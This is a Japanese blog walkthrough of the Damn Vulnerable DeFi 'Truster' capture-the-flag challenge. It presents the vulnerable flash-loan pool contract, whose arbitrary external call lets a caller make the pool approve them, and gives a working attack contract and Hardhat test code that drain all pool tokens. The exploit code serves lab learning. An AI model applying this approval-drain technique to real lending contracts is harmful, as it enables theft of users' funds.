Damn Vulnerable DeFiのTrusterの解説
Damn Vulnerable DefiのTrusterの解説&解答を紹介していきます!
問題確認
今回はDamn Vulnerable Defi Trusterのリンクはこちら!
早速問題を見ていきましょう!
More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.
The pool holds 1 million DVT tokens. You have nothing.
To pass this challenge, take all tokens out of the pool. If possible, in a single transaction.
以下が翻訳
「ますます多くの貸付プールがフラッシュローンを提供しています。この場合、新しいプールが無料でDVTトークンのフラッシュローンを提供しています。
プールは100万DVTトークンを保有しています。あなたは何も持っていません。
このチャレンジをクリアするには、プールからすべてのトークンを取り出してください。可能であれば、1回のトランザクションで行ってください。」
というのが今回の問題の内容です。
ここではなんと、手持ちのトークンが1つもない状態でプールが保持している100万DVTトークンを全て奪ってしまわなくてはいけません!しかも、可能であれば1回のトランザクションで。。。という難題ですが、落ち着いて中身を確認していけば答えを見つけるとこができます。
なので、次はコードの中身を見ていきましょう!
コードの詳細
TrusterLenderPool.solの中身
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableToken.sol";
/**
* @title TrusterLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrusterLenderPool is ReentrancyGuard {
using Address for address;
DamnValuableToken public immutable token;
error RepayFailed();
constructor(DamnValuableToken _token) {
token = _token;
}
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount);
target.functionCall(data);
if (token.balanceOf(address(this)) < balanceBefore)
revert RepayFailed();
return true;
}
}
テスト
const { ethers } = require('hardhat');
const { expect } = require('chai');
describe('[Challenge] Truster', function () {
let deployer, player;
let token, pool;
const TOKENS_IN_POOL = 1000000n * 10n ** 18n;
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, player] = await ethers.getSigners();
token = await (await ethers.getContractFactory('DamnValuableToken', deployer)).deploy();
pool = await (await ethers.getContractFactory('TrusterLenderPool', deployer)).deploy(token.address);
expect(await pool.token()).to.eq(token.address);
await token.transfer(pool.address, TOKENS_IN_POOL);
expect(await token.balanceOf(pool.address)).to.equal(TOKENS_IN_POOL);
expect(await token.balanceOf(player.address)).to.equal(0);
});
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
});
after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
// Player has taken all tokens from the pool
expect(
await token.balanceOf(player.address)
).to.equal(TOKENS_IN_POOL);
expect(
await token.balanceOf(pool.address)
).to.equal(0);
});
});
さっきの問題の内容を見たらわかりますが、成功条件は以下になります。
after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
// Player has taken all tokens from the pool
expect(
await token.balanceOf(player.address)
).to.equal(TOKENS_IN_POOL);
expect(
await token.balanceOf(pool.address)
).to.equal(0);
});
- playerがトークンをプール内にあったトークンを全て保持
- プールのトークンがゼロ
この2つが勝利条件です。ここではそんなにヒントになるようなことは書いてません。なので、実際のコードベースからハッキングできるところを探ることにしましょう!
攻撃の考え方
では今回どのようにして攻撃したら、トークンも持ってないPlayerがプール内のすべてのトークンを奪うことができるのでしょうか?
今回は実際に注目すべきところが1箇所しかないので、ここを細かく説明していきましょう。
function flashLoan(
uint256 amount,
address borrower,
address target,
bytes calldata data
) external nonReentrant returns (bool) {
// プール内のトークン残高を確認
uint256 balanceBefore = token.balanceOf(address(this));
// borrowerにamount分のトークンを送金
token.transfer(borrower, amount);
// targetのfunctionCallを実行
target.functionCall(data);
// 実行前のトークン残高よりも少ない場合は失敗
if (token.balanceOf(address(this)) < balanceBefore)
revert RepayFailed();
return true;
}
今回のポイントはfunctionCallです。ここの前後はフラッシュローンで、トークンを借りて確実に借りた分のを全て返さないとトランザクションは失敗してしまします。
なので、自ずとチャンスは1つしかないように思えます。
では、何をすればハッキングが成功できるのでしょうか?
今回は自分で指定したアドレス(tareget)の関数を自由に実行できる(functionCall(data))ので、あることをすれば簡単にお金を盗めちゃいます。
しかも、この関数はなんのトークンを持っていないくても、実行できるので攻撃し放題です。実際の攻撃を見てみましょう!
回答:攻撃方法
どうすれば、すべてのトークンを奪うことができるのかというと、別のコントラクトを作ってそのコントラクト内で、poolのflashloanを呼び出してトークンをすべて奪う!これで1回のトランザクションで盗めちゃいます。実際のコードは以下です。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../DamnValuableToken.sol";
import "./TrusterLenderPool.sol";
contract TrusterLenderPoolAttack {
/// @param _pool TrusterLenderPoolのアドレス
/// @param _token DamnValuableTokenのアドレス
function attack(address _pool, address _token) external {
// token.approve(address(this), type(uint256).max)を実行するためのdataを作成
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
address(this),
type(uint256).max
);
// TrusterLenderPoolのflashLoanを実行
TrusterLenderPool(_pool).flashLoan(
0, // ゼロでもなんでも大丈夫
_pool,
_token,
data
);
// 上記でapproveされたので、_poolからトークンを受け取る
DamnValuableToken(_token).transferFrom(
_pool,
msg.sender,
DamnValuableToken(_token).balanceOf(_pool)
);
}
}
今回は以下の手順になってます。
- 攻撃用のコントラクトを作成
- プールのコントラクト内でtokenを移動させられるようにapproveのdataを作成&実行
- flashLoan後にトークンをPlayerへ送金する
こうすれば1回のトランザクション内で、すべてのトークンをプールから奪うことができます。意外と簡単ですよね。
ちなみにテストは以下の2行で終わりです。
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
attack = await (await ethers.getContractFactory('TrusterLenderPoolAttack', player)).deploy();
await attack.connect(player).attack(pool.address, token.address);
});
2回以上のトランザクション
ちなみに、2回以上のトランザクションではテストのみでもかけます。
- approve実行の為のdataを作成
- flashLoanを実行する
- poolからPlayerへトークンを送る
it('Execution', async function () {
// dataを作成する
const ABI = ['function approve(address spender, uint256 amount)'];
const iface = new ethers.utils.Interface(ABI);
const data = iface.encodeFunctionData('approve', [player.address, ethers.constants.MaxUint256]);
// flashLoanを実行する
await pool.flashLoan(0, pool.address, token.address, data);
// playerがpoolからtokenを引き出す
await token.connect(player).transferFrom(pool.address, player.address, TOKENS_IN_POOL);
});
上記のように攻撃を仕掛ければ、今回のコントラクトは容易にハッキングすることができます。なので、落ち着いて1つ1つ確実に理解していけば、問題は解けるでしょう!